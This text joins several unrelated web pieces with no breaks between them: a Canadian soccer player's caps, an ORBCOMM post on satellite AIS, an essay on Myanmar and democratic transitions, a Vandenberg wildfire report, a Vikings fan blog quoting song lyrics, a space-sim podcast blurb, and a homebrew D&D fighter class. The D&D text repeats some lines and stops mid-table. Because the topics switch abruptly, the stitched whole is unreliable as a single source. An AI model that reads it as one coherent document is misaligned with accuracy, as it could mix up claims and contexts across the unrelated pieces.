The friendly was Tissot’s second national team appearance of the year. The defender also earned 35 minutes of play time in January during a 4-2 victory over Bermuda. Tissot received his first senior call up in November of 2014 in preparation of a friendly against Panama, and debuted for Canada in January of 2015 against Iceland. The 24-year-old joined D.C. United in February following four seasons with the Montreal Impact and a successful preseason trial with the Black-and-Red.
According to Dean’s blog post, satellite AIS has three limitations…
1. Lower Reporting Frequency
“While terrestrial AIS can report vessel positions in near-real-time (with multiple updates each minute), satellite AIS has significantly higher latency and lower frequency of reporting. Current satellite AIS service providers typically provide position updates on specific vessels only a few times each day. While this lower frequency of reporting still provides compelling value to track the progress of ships at sea, it does not allow for many of the advanced alerting and reporting features that are available with terrestrial AIS.”
What Changes with the Launch of OG2 Satellites?
Latency of the AIS data delivery is affected by the size of the satellite constellation and the ground station infrastructure. When the satellite receives an AIS message, it stores the message internally until the satellite becomes connected to a ground station. The satellite then downloads all the messages received since the last ground station connection.
With the launch of 11 more next-generation OG2 satellites and ORBCOMM’s existing network of 16 ground stations, data latency for some areas is expected to go as low as 1 minute!
2. Limited Detection of Vessels
“The ability to detect AIS signals from space is currently an imperfect “art”. Electromagnetic interference (particularly in dense areas) often limits the ability to detect vessels in congested areas, even when vessels are transmitting their AIS signal.”
What Changes with the Launch of OG2 Satellites?
The laws of probability come into play when looking at the likelihood of detecting an AIS message via satellite. The probability of detecting an AIS signal increases as you spend more time over the vessel or more satellites pass over a vessel. With the launch of 11 more next-generation OG2 satellites, ORBCOMM will offer more satellite passes which will increase the detection rate of vessels.
3. Cost
“It is expensive to launch a satellite, and the commercial satellite operators need to recoup that investment. As such, satellite AIS typically carries significantly higher licensing fees than terrestrial-only AIS providers.”
What Changes with the Launch of OG2 Satellites?
Since AIS is just one of the services offered by the ORBCOMM satellite constellation, we are able to offer more flexibility in our plans and services compared to other satellite AIS providers.
Myanmar’s swift, albeit incomplete, transition from dictatorship to democracy is particularly heartening because of failures elsewhere. During the same period, for instance, the Arab spring has wilted. Of all the countries that witnessed popular revolutions in 2011, Tunisia alone remains relatively stable and has held successful elections. Egypt is probably more oppressive and violent than before; Syria and Libya are war zones. Myanmar’s neighbours have floundered, too. Thailand elected a charismatic young prime minister, Yingluck Shinawatra, in 2011, only for her to be overthrown in a military coup three years later. Cambodia and Malaysia both held flawed elections in 2013 that were largely rejected by the opposition, plunging them into crisis. Vietnam and China continue to lock up dissidents and show no sign of letting the people choose their own rulers.
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Fake it till you make it
For most countries that attempt it, the shift from dictatorship to democracy seems as difficult as ever. As Russia, Thailand and several other places have shown, there is no guarantee that a newborn democracy will survive or mature. Myanmar’s progress, though impressive so far, is anything but secure. So it is worth asking: what makes for a successful transition?
For a start, any elections, even if flawed or ignored, can put a country on the right path. Nowadays, almost all dictatorships and authoritarian regimes at least go through the electoral motions—such is the homage vice pays to virtue. They rig the results, of course. But sham democracy often whets people’s appetite for the real thing. That was what happened in Myanmar, where successive military governments held and won several bogus elections and referendums from 1990 onwards. The NLD boycotted some of them. But pressure grew to make the elections cleaner, and when they were just about fair enough, the NLD seized its chance.
Brazil and Mexico had similar experiences. In the former, the military regimes that followed a coup in 1964 held elections that they could control and win. But as the generals lost popular support, so these elections became harder to manipulate, until in 1985 they lost the presidency to a civilian, Tancredo Neves, and accepted defeat. In Mexico the authoritarian regimes of the Institutional Revolutionary Party (PRI) enjoyed the legitimacy of elections which were rigged when necessary. But, again, phoney ballots created a momentum towards real democracy—and attempts to resist became ever more farcical.
In 1988, with the opposition leader ahead early in the count on election night, Manuel Bartlett, the minister in charge of the count, revealed that the computers tabulating the results had mysteriously crashed. “Se cayó el sistema,” (the system has crashed) he announced, and the next day the regime awarded itself a victory. It became a catchphrase for electoral fraud, and all that was wrong with one-party rule, and after an impartial electoral authority was set up by the government in 1996 the PRI lost power at the next poll, in 2000. Mexico, for all its drug wars, has been a genuine multiparty democracy ever since.
Bowing to the coming power
This suggests another common feature of successful transitions: a degree of consent by the regimes being replaced. In Myanmar it was Than Shwe, probably the cruellest of the military dictators, who nonetheless started reforms in the early 2000s, responding to popular opposition led by the NLD as well as sharp economic decline. He introduced a constitution in 2008 that provided for a new parliament and elections, and resigned in 2011 to make way for Thein Sein, who was willing to work with Miss Suu Kyi. The constitution gave the armed forces huge undeserved privileges, such as a quarter of parliamentary seats. That was unfair, but many argue that it gave the generals the courage to allow reform in the first place. They knew that they had a stake in the transition and could, to an extent, control it.
Something similar happened in South Africa in the 1990s and in Spain in the 1970s. In South Africa the ruling National Party decided gradually to dismantle the apartheid system it had created, under which blacks were denied the vote and countless other rights. It negotiated a transition to democracy that included safeguards for the white minority, such as a constitutional guarantee that their property would not be seized. Reassured, whites voted to give up power.
In Spain, as in Myanmar, the dictator handpicked his successor. When General Francisco Franco chose King Juan Carlos as the next ruler, there was little to suggest that he would start down the path to democracy. But the king chose a prime minister, Adolfo Suárez, who started to lift the bans on political parties and hold elections. The confidence that officers felt in Juan Carlos, who had strong links with the armed forces, proved crucial in 1981 when some Francoist generals attempted a coup and Antonio Tejero, a lieutenant-colonel in the Civil Guard, took the parliament hostage. They expected the king to back them. Instead, the monarch spoke up for democracy, and thus gained popularity.
One in the eye for dictators
The alternative to reform from within is armed rebellion from below. Sadly, history shows that violence usually begets further violence. Granted, the American revolution was pretty successful. But overall, peaceful mass movements have a better record in persuading oppressive regimes to change. The NLD, founded in 1988, played this role in Myanmar, as did the African National Congress in South Africa and the parties led by the “two Kims” in South Korea (for an obituary of Kim Young-sam, one of the architects of civilian rule in Korea, see page 61). In communist Poland the dissident trade union, Solidarity, led by Lech Walesa, attracted a quarter of Poles as members, undermining the regime’s claim to speak for the people. Suharto, Indonesia’s strongman-president from 1967 to 1998, yielded to protests during an economic crisis. Not all these mass-movements were entirely peaceful, but it was the huge crowds that won the day, not the petrol bombs. And peaceful mass-movements are much likelier to foster civic engagement, making it easier for democracy to flourish after the old regime has gone.
Institutions that can mediate between regimes and their critics help, too. Myanmar Egress, a think-tank set up in 2006 when politics was deadlocked, suggested various ways to get things moving again. One of its founders had been in the NLD and another was trusted by the army, since his parents had taught at the Defence Services Academy, Myanmar’s equivalent of America’s West Point. Egress thus acted as a bridge. It engineered the first official meeting between Thein Sein and Miss Suu Kyi in 2011. Tunisia’s singular success is partly due to the efforts of its national dialogue quartet, a disparate collection of unionists, employers, lawyers and human-rights activists. They recently won the Nobel peace prize.
Good neighbours and sponsors also feature in successful transitions. The rapid collapse of communism in eastern Europe was ably assisted by the European Union. Countries under the Soviet boot looked west for a democratic example to copy and a wealthy source of support. Similarly, Mexico’s still-incomplete democracy was buttressed when it joined America and Canada in the North American Free-Trade Agreement in 1994. South Korea and Taiwan were helped by their “far neighbour”, America, after it nudged towards free elections the dictators it had long backed. By contrast, Arab countries had no local beacon of democracy to guide them during their recent revolutions—apart from Israel, to whose democratic virtues they seem strangely blind.
In Myanmar the NLD’s leaders have signalled that they will not seek retribution: that no one who co-operates with the new order will be carted off to the International Criminal Court in The Hague. That requires astonishing forbearance: among the NLD’s leaders are many who were tortured. Others were murdered. But forgiveness is probably wise. It certainly helped in South Africa, where opposition leaders such as Nelson Mandela and Desmond Tutu demanded it of their followers. The Truth and Reconciliation Commission set up in South Africa’s new democracy bore witness to past atrocities, but did not prosecute their authors if they confessed.
Forgiveness can thus hasten a transition. But it also carries risks. When members or sympathisers of the old regime are left in place, a “deep state”—a subterranean network of military and intelligence officers, and others—can develop to threaten its successor’s long-term health.
Regression analysis
This is what happened in Egypt, Thailand and Russia. When the NLD forms a government in Myanmar next March, it will have to reckon with a well-entrenched army. Miss Suu Kyi—who is, after all, a general’s daughter—is likely to be tempted to let sleeping thugs lie. But unless the deep state’s power is weakened, democracy may be stillborn. After reunification Germany was rigorous in exposing the Stasi, the East German communist secret police, and removing its agents from positions of power. Purges should not go too far, however. Sacking nearly every Baath party member after Saddam Hussein’s overthrow left Iraq without a functioning state.
The sooner the rule of law can be established, the better. Boris Yeltsin’s privatisation programme, a rushed attempt to unshackle the Soviet command economy, was hijacked by a tiny group of opportunists, now known as oligarchs. The chaos of the Yeltsin era paved the way for a former KGB hard man, Vladimir Putin. The notion that no one is above the law never took root in Russia.
Updated at 12:05 a.m. EDT with latest acreage and containment numbers
United Launch Alliance technicians were allowed to return to the Atlas 5 pad Tuesday as firefighters continued to wage air and ground campaigns against the wildfire burning at Vandenberg Air Force Base in California.
“Been granted access to our pad for at least the next several hours,” ULA CEO Tory Bruno tweeted Tuesday afternoon.
Workers were forced to evacuate the pad as the fire spread and intensified on Vandenberg’s South Base, home to the Atlas 5 and other pads used by Falcon 9 and Delta 4 rockets.
As of Tuesday night, the fire had consumed over 12,000 acres and was 45 percent contained. The acreage had doubled in size in a 24-hour period but was zero percent contained on Monday.
“I think we’re making really good progress,” Vandenberg’s assistant fire chief Wayne Seda told reporters at a Tuesday afternoon news conference. “We’ve been having the crews work day and night, and the night operations have been really successful and today’s been really successful so far.”
Flames advancing westward to the ocean were noted around the eastern and northern perimeters of Space Launch Complex 6, once the Air Force’s Manned Orbiting Laboratory and space shuttle pad and now used by ULA’s Delta 4 program. No rockets are there at the present time.
At Space Launch Complex 4, the former dual-pad Titan site now occupied by the SpaceX Falcon 9, the fire was nearing but had not reached the immediate area.
“SpaceX has taken the necessary precautions to protect SLC-4 and its assets,” a company spokesman said in a statement.
Ten Iridium mobile communications satellites are housed in the pad’s hangar that SpaceX constructed at the complex. The craft are awaiting a single launch together aboard a Falcon 9.
The northern-most pad on South Base is SLC-3, where the Atlas 5 rocket and its WorldView 4 commercial Earth-imagery satellite are standing inside the protective gantry. They were about seven hours away from liftoff on Sunday when Air Force officials requested the launch be scrubbed to allow firefighters to remain in place south of the pad to combat the blaze that began Saturday night.
“Team making the most of access,” Bruno tweeted later Tuesday night. “Installed a 2 MW b/u generator, chillers, gas, ECS. Firefighters cut a dbl break. SLC6 also well protected.”
As reinforcements arrived Tuesday, some 1,056 firefighters from 50 agencies including Vandenberg Air Force Base, U.S. Forestry, CalFire and Santa Barbara County Fire Dept. are working the fire, officials said.
Tuesday’s objective was to continue building direct and indirect containment lines. Direct lines are made along the active fire perimeter when fire intensity is low. Indirect lines are constructed ahead of the active fire perimeter.
Crews were using hand tools and bulldozers to construct the containment lines.
Meanwhile, a team of Resource Advisors are supporting by locating and identify natural and Chumash cultural areas threatened by the fire.
And train travel along the coastal railway that runs through the base has been stopped because of the fire. Union Pacific is inspecting the line for any damage or problems.
See earlier WorldView 4 coverage.
But these Vikings...these 2017 Vikings that have now rattled off seven straight wins and counting...they found a way.
They found a way even though they were on the road on a short week.
They found a way even though their secondary wasn’t at the top of their game.
They found a way even though the officiating was—how do I say this politely?—complete and utter trash for most of the game.
They found a way even though the Detroit Lions had previously had their number for most of the duration of Mike Zimmer’s regime.
The Vikings now have a 9-2 record and a three-game lead in the NFC North with five games to play. It’s official—this team is a legit contender to make a deep playoff run. And the run they’re currently on is showing no signs of stopping anytime soon.
You might say the Vikings are almost too legit. And they definitely won’t quit.
Yep, you know where I’m going with this week’s Stock Market Report song. HIT IT, HAMMER!
Step to the rhythm of a
Sho-nuff winner (winner)
I beenHere before (yo!) I ain't no
Beginner (word) but I been new
Tried and true survival of the fittest
Yo!..it brought me through
My crew (talk) we're ready to
Strike trained for the mission
So believe the hype and sweat it
Cause you're gonna
Regret it the day that you dissed us
You'll wish you never met us
You remind me of a real short
Story one hit record and you
Star to bore me get ready
Cause this is it your crew is
Through and we too legit to quit...sang!...
Too legit...
Too legit to quit (Hey...hey...)
Too legit, too legit to quit...
Your “we run the North” Stock Market Report begins...now.
Blue Chip Stocks
Case Keenum, QB: Ho-hum. Just another day in the office for Case. He went 21/30 for 282 yards, two touchdowns, and zero turnovers. He also ran for a couple crucial first downs and perfectly executed a read option for a touchdown run. When this streak first started, it could have been argued that the Vikings were winning with defense while masking some of Keenum’s shortcomings. Now it seems like Keenum doesn’t really have many shortcomings. It’s time to start considering that Keenum might not be playing out of his mind, but simply realizing his full potential.
In my preview article for this game I said I was still a bit wary of how far this team could go in the playoffs with Keenum at the helm. But if he keeps playing like he did today, why couldn’t the Vikings take this as far as they can dream?
Adam Thielen, WR: Ho-hum. Just another eight receptions for 89 yards. Thielen makes Keenum’s job so much easier by getting wide open several times per game. I am amazed at how Thielen’s precise route running and flypaper hands consistently move the sticks for this offense. Thielen became the team’s first 1,000 yard receiver in eight seasons and we still have five games left.
Everson Griffen, DE: I know I’m just filling in for Ted on this week, but we have a steadfast rule here at the SMR: whenever you have a baby boy and get two sacks on the same day, that makes you a blue chipper. Sack Daddy, indeed!
Solid Investments
Stefon Diggs, WR: Diggs has been pretty quiet since injuring his groin against Chicago in Week 5, save for the game against the Redskins. Today he hauled in five catches for 66 yards and appeared to be much closer to 100% physically. Thielen has established himself as the WR1 on this team in recent weeks, but Diggs’ continued contributions to the offense are crucial in preventing defenses from keying in only on Thielen.
Latavius Murray, RB: The Vikings have had some favorable matchups against the run recently, and the Tay Train has taken full advantage. Murray had 84 yards on 20 carries and found the end zone for the third time in the past two games. And for the second week in a row, he treated us to a hilariously slow run of over 40 yards. He and Jerick McKinnon are doing the thunder and lightning thing beautifully.
Jarius Wright, WR: To paraphrase one of my favorite movies of all time, Boondock Saints: Jarius Wright is like 7-Eleven. He’s not always doing business, but he’s always open. Wright’s stat line was pretty tame—two catches for 25 yards—but every catch he makes seems to be a for either a touchdown or a crucial conversion. In a season where Laquon Treadwell has continued to be mostly invisible to both the quarterbacks and the box score, Wright simply performs every time he’s called upon.
Nick Easton, G: This wasn’t the greatest performance by the offensive line, but Easton deserves special recognition. He got out and delivered crucial blocks on two screen passes that gained big yardage.
Kyle Rudolph, TE: Rudy found the end zone twice on Thursday and added a crucial 34-yard reception that set up his score before the break. He even had a couple decent run blocks on the opening drive of the second half. He remains a vital part of an offense that has been putting up a lot of points lately. He also made me deeply regret starting Evan Engram over him in fantasy football this week.
Junk Bonds
Special teams: It’s easy to pick on Kai Forbath for not converting another field goal and extra point, but the kicking woes were truly a team effort today. Ryan Quigley bobbled the hold on the blocked field goal and the blocking was pretty poor on the extra point. Even though Lions returner Jamal Agnew was out, Detroit was able to get great field position a few times due to big returns. The Vikings also had a decent return from Marcus Sherels negated by a penalty. Film review for Mike Prefier will not be pleasant for this game.
The secondary: The Lions have a potent passing attack, so nobody expected a complete shutdown performance today. But seeing the Detroit pass catchers so open so often today was pretty alarming. Xavier Rhodes came up with the game-clinching interception, but until then he was having what was easily his worst game of the season. Harrison Smith got beat a few times. Kenny Golladay allowed Trae Waynes to continue his tradition of watching great catches happen right in front of him because he was in position but couldn’t locate the ball. Andrew Sendejo continued his tradition of not even attempting to use his arms when tackling.
The referees: Holy hell they were awful today. I hate being “that guy” that blames the refs, but the performance of Tony Corrente and his crew today was a special kind of terrible. They were the biggest contributor of Detroit’s score right before halftime and consistently kept Lions drives alive with iffy calls.
And will someone tell me how on God’s green Earth that this was not pass interference?
The non-call defensive pass interference on #Lions Tavon Wilson covering #Vikings Stefon Diggs pic.twitter.com/BVieU8L02u — Dov Kleiman (@NFL_DovKleiman) November 23, 2017
I’m still furious about that one. Again, I usually think complaining about the referees is petty and overblown, but this performance deserved every ounce of pettiness.
Buy/Sell
Buy: Pat Shurmur’s play calling in the first two-plus quarters. The Vikings Offensive Coordinator was an absolute wizard in the first stanza, keeping the Lions defense on their heels with plenty of misdirection and unpredictability. Breaking out the rarely used read option for Keenum’s rushing touchdown was a brilliant call at the perfect time. After the first drive of the second half that made the score 27-10, it looked like the Vikings couldn’t be stopped and they were going to cruise to a victory.
Sell: Pat Shumur’s play calling after that. The Vikings managed only three points after the opening drive of the second half, in large part due to becoming much too predictable. I get wanting to pound the ball on the ground and milk the clock with a lead like that, but why not throw in some play action to keep the Lions defense guessing? It really felt like the Vikings were playing not to lose for most of the second half, and it became agonizingly close to coming to fruition late in the game.
Buy: It’s time to be concerned about the kicking game. For two weeks in a row, Kai Forbath hasn’t converted when we needed it. Both blocks weren’t really his fault today, but we’re starting to get that terrible familiar feeling we had when Blair Walsh was playing his way out of a job.
Sell: It’s time to think about switching kickers. Thinking that Forbath needs to be cut, like I saw a few times in my Twitter mentions today, is hitting the panic button way too early. His body of work this season is still very good overall. Let’s just hope they can clear up the recent kicking issues.
Buy: It’s time to stop asking Mike Zimmer who the starting quarterback will be every week. This is Case Keenum’s job until further notice. End of story.
Sell: Thinking that Teddy Bridgewater no longer matters. Teddy could still very well be a part of this team’s long-term future. This offseason still has way more questions than answers when it comes to the quarterback position, and Bridgewater deserves to be in the mix with anyone else that happens to be involved. And if he’s called upon for one reason or another down the stretch this season, I still have confidence that he’ll perform.
Gemma Thompson Quote of the Week
I watched today’s game at my in-laws, which meant I completely neglected interacting with family members for the better part of three hours this afternoon. There were eight children under the age of 5 in attendance, so the basement was just a little noisy while I was trying to focus on the game. My older daughter took a break from the madness to sit by her daddy on the couch for a few minutes and check in on the game right after the Vikings went up by 17. She’s mastering her numbers at preschool and saw her chance to show off her new knowledge.
“Look Daddy! It’s two-seven to ten. That means the Vikings are winning! That’s good because that makes you happy.”
Indeed, Gemma. The Vikings are winning, and that makes me very happy.
[Download this episode]
In this week’s Squawk Box, it’s not one but two successes for Ol’ Musky! Next, we see what news from your favourite space sims has landed as we cover:
Finally, we tune into the Feedback Loop and let you join in on the conversation.
This Week’s Community Questions
SC: What did you think of the mission system as we saw it? Do opposing missions sound unique and emergent, or is it just going to sabotage those not interested in PvP?
SC: What was your impression of the so-called Face Over IP? Is it a revolutionary system supported by a neat peripheral, or an unnerving gimmick with debatably relevant hardware?
SC: What was your reaction to the Idris combat? The 600i? Whether you were jumping for joy or groaning we want to know.
E:D: Who’s ready to die at the hands…or maybe pincers?… of our new insect overlords in Elite Dangerous? Did Frontier get it right with the mission tweaks?
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Hit Points at 1st Level: 10 + your Constitution modifier
Hit Points at Higher Levels: 1d10 (or 6) + your Constitution modifier per fighter level after 1st Proficiencies Armor: All armor, shields
Weapons: Simple weapons, martial weapons
Tools: None Saving Throws: Strength, Constitution
Skills: Choose two from Acrobatics, Athletics, History, Insight, Intimidation, Perception, Performance, and Survival Equipment You start with the following equipment, in addition to the equipment granted by your background: (a) scale mail or (b) leather armor, a longbow, and a quiver of 20 arrows
(a) a martial weapon and a shield or (b) two martial weapons
(a) a light crossbow and 20 bolts or (b) two handaxes
(a) a dungeoneer's pack or (b) an explorer's pack
Fighting Style You adopt a particular style of fighting as your speciality. Choose one of the following options. You can't take a Fighting Style option more than once, even if you later get to choose again. Archery You gain a +2 bonus to attack rolls you make with ranged weapons. Defense While you are wearing armor, you gain a +1 bonus to AC. Dueling When you are wielding a melee weapon in one hand and no other weapons, you gain a +2 bonus to damage rolls with that weapon. Great Weapon Fighting When you roll a 1 or 2 on a damage die for an attack you make with a melee weapon that you are wielding with two hands, you can reroll the die and must use the new roll, even if the new roll is a 1 or a 2. The weapon must have the two-handed or versatile property for you to gain this benefit. Protection When a creature you can see attacks a target other than you that is within 5 feet of you, you can use your reaction to impose disadvantage on the attack roll. You must be wielding a shield. Two-Weapon Fighting When you engage in two-weapon fighting, you can add your ability modifier to the damage of the second attack. Combat Superiority Your intensive combat training manifests itself in the form of special dice, called superiority dice, which you use to augment your attacks and fuel your combat abilities. You have three superiority dice, which are d6s. You spend superiority dice to fuel special combat abilities called maneuvers, which are detailed under "Maneuvers" below. Many maneuvers enhance an attack in some way. You can use more than one maneuver per turn, but only one maneuver per attack. A superiority die is expended when you use it. You regain all your expended superiority die when you finish a short or long rest. Your superiority dice change when you certain levels in this class. The dice become d8s at 5th level, d10s at 11th level, and d12s at 17th level. In addition, you gain additional superiority dice as you gain levels in this class, as shown in the Superiority Dice column of the Fighter (Revised) table. Maneuvers You know the following maneuvers. Power Attack. Once on each of your turns, when you hit a creature with a weapon attack, you can expend two superiority dice, rolling the dice and adding both numbers rolled to the attack's damage roll. Precision Attack. When you make a weapon attack roll against a creature, you can expend one superiority die, rolling the die and adding the number rolled to the attack roll. You can use this maneuver before or after making the attack roll, but before any effects of the attack are applied. Second Wind. On your turn, you can use a bonus action and expend one superiority die to regain hit points equal to the number rolled + your Constitution modifier (minimum of 1 hit point). Action Surge Starting at 2nd level, you can push yourself beyond your normal limits for a moment. On your turn, you can take one additional action on top of your regular action and a possible bonus action. Once you use this feature, you must finish a short or long rest before you can use it again. Starting at 18th level, you can use it twice before a rest, but only once per turn. Martial Archetype At 3rd level, you choose an archetype that you strive to emulate in your combat styles and techniques. Choose one from the following list, all detailed at the end of the class description: Champion. A master of their own physical power.
A master of their own physical power. Battle Master. A warrior trained in diverse maneuvers.
A warrior trained in diverse maneuvers. Eldritch Knight. A wielder of both martial and arcane might.
A wielder of both martial and arcane might. Banneret. An inspiring leader and rallier of fellow soldiers.
An inspiring leader and rallier of fellow soldiers. Arcane Archer. A marksman trained in elven enchantment.
A marksman trained in elven enchantment. Cavalier. A mounted combat specialist who protects their allies from harm.
A mounted combat specialist who protects their allies from harm. Exalted Heart. A warrior with an unbreakable will who can stand up to any challenge. The archetype you choose grants you features at 3rd level and again at 7th, 10th, 15th, and 20th level. Ability Score Improvement When you reach 4th level, and again at 6th, 8th, 12th, 14th, 16th, and 19th level, you can increase one ability score of your choice by 2, or you can increase two ability scores of your choice by 1. As normal, you can't increase an ability score above 20 using this feature.
Extra Attack Beginning at 5th level, you can attack twice, instead of once, whenever you take the Attack action on your turn. The number of attacks increases to three when you reach 11th level in this class and to four when you reach 17th level in this class. Indomitable Beginning at 9th level, you can reroll a saving throw that you fail. If you do so, you must use the new roll, and you can't use this feature again until you finish a long rest. You can use this feature twice between long rests starting at 13th level, and three times between long rests starting at 18th level. Martial Archetypes Different fighters choose different approaches to perfecting their fighting prowess. The martial archetype you choose to emulate reflects your approach. Champion The archetypal Champion focuses on the development of raw physical power to deadly perfection. Those who model themselves on this archetype combine rigorous training with physical excellence to deal devastating blows. Improved Critical Starting when you choose this archetype at 3rd level, your weapon attacks score a critical hit on a roll of 19 or 20 on the d20. Superior Attacker Also starting at 3rd level, whenever you roll a 1 on a superiority die, you can reroll the die and must use the new roll, even if the new roll is a 1. Starting at 15th level, you can reroll a superiority die after you roll a 1 or a 2 on it. You must use the new roll, even if it is a 1 or a 2. Remarkable Athlete Starting at 7th level, you can add half your proficiency bonus (rounded up) to any Strength, Dexterity, or Constitution check you make that doesn't already include your proficiency bonus. In addition, when you make a running jump, the distance you can cover increases by a number of feet equal to your Strength modifier. Additional Fighting Style At 10th level, you can choose a second option from the Fighting Style class feature. Superior Critical Beginning at 15th level, your weapon attacks score a critical hit on a roll of 18, 19, or 20 on the d20. Survivor At 20th level, you achieve the pinnacle of resilience in battle. At the start of each of your turns, you regain hit points equal to your Constitution modifier (minimum of 0 hit points). If you have fewer than half of your hit points left at the start of your turn, you regain 5 additional hit points. You don't gain this benefit if you have 0 hit points. Battle Master Those who emulate the archetypal Battle Mastrer employ martial techniques passed down through generations. To a Battle Master, combat is an academic field, sometimes including subjects beyond battle such as weaponsmithing and calligraphy. Not ever fighter absorbs the lessons of history, theory, and artistry that are reflected in the Battle Master archetype, but those who do are well-rounded fighters of great skill and knowledge. Expanded Maneuvers When you choose this archetype at 3rd level, you learn two Battle Master maneuvers of your choice, which are detailed under "Battle Master Maneuvers" below. You learn two additional Battle Master maneuvers of your choice at 7th, 10th, and 15th level. Each time you learn new Battle Master maneuvers, you can also replace one Battle Master maneuver you know with a different one. Some of your Battle Master maneuvers require your target to make a saving throw to resist the maneuver's effects. The saving throw DC is calculated as follows: Battle Master maneuver save DC = 8 + your proficiency bonus + your Strength or Dexterity modifier (your choice)
Expanded Superiority Also at 3rd level, you gain an additional superiority die. This die is a d6, and changes as you gain levels in this class to match your other superiority dice. Tactical Reaction Starting at 7th level, your knowledge of the arts of war lets you react quickly in battle. When you roll initiative at the start of combat, you can expend one superiority die, rolling the die and gaining a bonus to your initiative roll equal to the result. Know Your Enemy Starting at 10th level, if you spend at least 1 minute observing or interacting with another creature outside combat, you can learn certain information about its capabilities compared to your own. The DM tells you if the creature is your equal, superior, or inferior in regard to two of the following characteristics of your choice: Strength score
Dexterity score
Constitution score
Armor Class
Current hit points
Total class levels (if any)
Fighter class levels (if any) Master's Precision Starting at 15th level, your knowledge of warfare allows you to strike with precision, even when using a complex maneuver. Once on each of your turns, you can use Precision Attack and a Battle Master maneuver on the same attack, expending a separate superiority die for both maneuvers. Relentless Starting at 20th level, when you roll initiative and have no superiority dice remaining, you regain 2 superiority dice. Battle Master Maneuvers The maneuvers are presented in alphabetical order. Commander's Strike. When you take the Attack action on your turn, you can forgo one of your attacks and use a bonus action to direct one of your companions to strike. When you do so, choose a friendly creature who can see and hear you and expend one superiority die. That creature can immediately use its reaction to make one weapon attack. If this attack hits, roll the superiority die and add the number rolled to the attack's damage roll. Disarming Attack. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to disarm the target, forcing it to drop one item of your choice that it’s holding. You add the superiority die to the attack’s damage roll, and the target must make a Strength saving throw. On a failed save, it drops the object you choose. The object lands at its feet. Distracting Strike. When you hit a creature with a weapon attack, you can expend one superiority die to distract the creature, giving your allies an opening. Roll the superiority die and add the number rolled to the attack’s damage roll. The next attack roll against the target by an attacker other than you has advantage if the attack is made before the start of your next turn. Evasive Footwork. When you move, you can expend one superiority die, rolling the die and adding the number rolled to your AC until you stop moving. Feinting Attack. You can expend one superiority die and use a bonus action on your turn to feint, choosing one creature within 5 feet of you as your target. You have advantage on your next attack roll against that creature. If that attack hits, roll the superiority die and add the number rolled to the attack’s damage roll. Goading Attack. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to goad the target into attacking you. Roll the superiority die and add the number rolled to the attack’s damage roll. In addition, the target must make a Wisdom saving throw. On a failed save, the target has disadvantage on all attack rolls against targets other than you until the end of your next turn. Lunging Attack. When you make a melee weapon attack on your turn, you can expend one superiority die to increase your reach for that attack by 5 feet. If you hit, roll the superiority die and add the number rolled to the attack’s damage roll. Maneuvering Attack. When you hit a creature with a weapon attack, you can expend one superiority die to maneuver one of your comrades into a more advantageous position. Roll the superiority die and add the number rolled to the attack’s damage roll. Then, choose a friendly creature who can see or hear you. That creature can use its reaction to move up to half its speed without provoking opportunity attacks from the target of your attack. Menacing Attack. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to frighten the target. Roll the superiority die and add the number rolled to the attack’s damage roll, and the target must make a Wisdom saving throw. On a failed save, it is frightened of you until the end of your next turn. Parry. When another creature damages you with a melee attack, you can use your reaction and expend one superiority die, rolling the die and reducing the damage you take by the number rolled + your Dexterity modifier. Pushing Attack. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to drive the target back. Roll the superiority die and add the number rolled to the attack's damage roll. In addition, if the target is Large or smaller, it must make a Strength saving throw. On a failed save, you push the target up to 15 feet away from you. Rally. On your turn, you can use a bonus action and expend one superiority die to bolster the resolve of one of your companions. When you do so, choose a friendly creature who can see or hear you, then roll the superiority die. That creature gains temporary hit points equal to the number rolled + your Charisma modifier. Riposte. When a creature misses you with a melee attack, you can use your reaction and expend one superiority die to make a melee weapon attack against the creature. If you hit, roll the superiority die and add the number rolled to the attack's damage roll.
Sweeping Attack. When you hit a creature with a melee weapon attack, you can expend one superiority die to attempt to damage another creature with the same attack. Choose another creature within 5 feet of the original target and within your reach, then roll the superiority die. If the original attack roll would hit the second creature, it takes damage equal to the number rolled on the superiority die. The damage is of the same type dealt by the original attack. Trip Attack. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to knock the target down. Roll the superiority die and add the number rolled to the attack's damage roll. In addition, if the target is Large or smaller, it must make a Strength saving throw. On a failed save, you knock the target prone. Eldritch Knight The archetypal Eldritch Knight combines the martial mastery common to all fighters with a careful study of magic. Eldritch Knights use magical techniques similar to those practiced by wizards. They focus their study on two of the eight schools of magic: abjuration and evocation. Abjuration spells grant an Eldritch Knight additional protection in battle, and evocation spells deal damage to many foes at once, extending the fighter's reach in combat. These knights learn a comparatively small number of spells, committing them to memory instead of keeping them in a spellbook. Spellcasting When you reach 3rd level, you augment your martial prowess with the ability to cast spells. See chapter 10 of the Player's Handbook for the general rules of spellcasting, and chapter 11 for the wizard spell list. Cantrips. You learn two cantrips of your choice from the wizard spell list. You learn an additional wizard cantrip of your choice at 10th level. Spell Slots. The Eldritch Knight Spellcasting table shows how many spell slots you have to cast your spells of 1st level and higher. To cast one of these spells, you must expend a slot of the spell’s level or higher. You regain all expended spell slots when you finish a long rest. For example, if you know the 1st-level spell shield and have a 1st-level and a 2nd-level spell slot available, you can cast shield using either slot. Spells Known of 1st-Level and Higher. You know three 1st-level wizard spells of your choice, two of which you must choose from the abjuration and evocation spells on the wizard spell list. The Spells Known column of the Eldritch Knight Spellcasting table shows when you learn more wizard spells of 1st level or higher. Each of these spells must be an abjuration or evocation spell of your choice, and must be of a level for which you have spell slots. For instance, when you reach 7th level in this class, you can learn one new spell of 1st or 2nd level. The spells you learn at 8th, 14th, and 20th level can come from any school of magic. Whenever you gain a level in this class, you can replace one of the wizard spells you know with another spell of your choice from the wizard spell list. The new spell must be of a level for which you have spell slots, and it must be an abjuration or evocation spell, unless you’re replacing the spell you gained at 8th, 14th, or 20th level. Spellcasting Ability. Intelligence is your spellcasting ability for your wizard spells, since you learn your spells through study and memorization. You use your Intelligence whenever a spell refers to your spellcasting ability. In addition, you use your Intelligence modifier when setting the saving throw DC for a wizard spell you cast and when making an attack roll with one. Spell save DC = 8 + your proficiency bonus + your Intelligence modifier
Spell attack modifier = Your proficiency bonus + your Intelligence modifier
Eldritch Knight Spellcasting Fighter
Level Cantrips
Known Spells
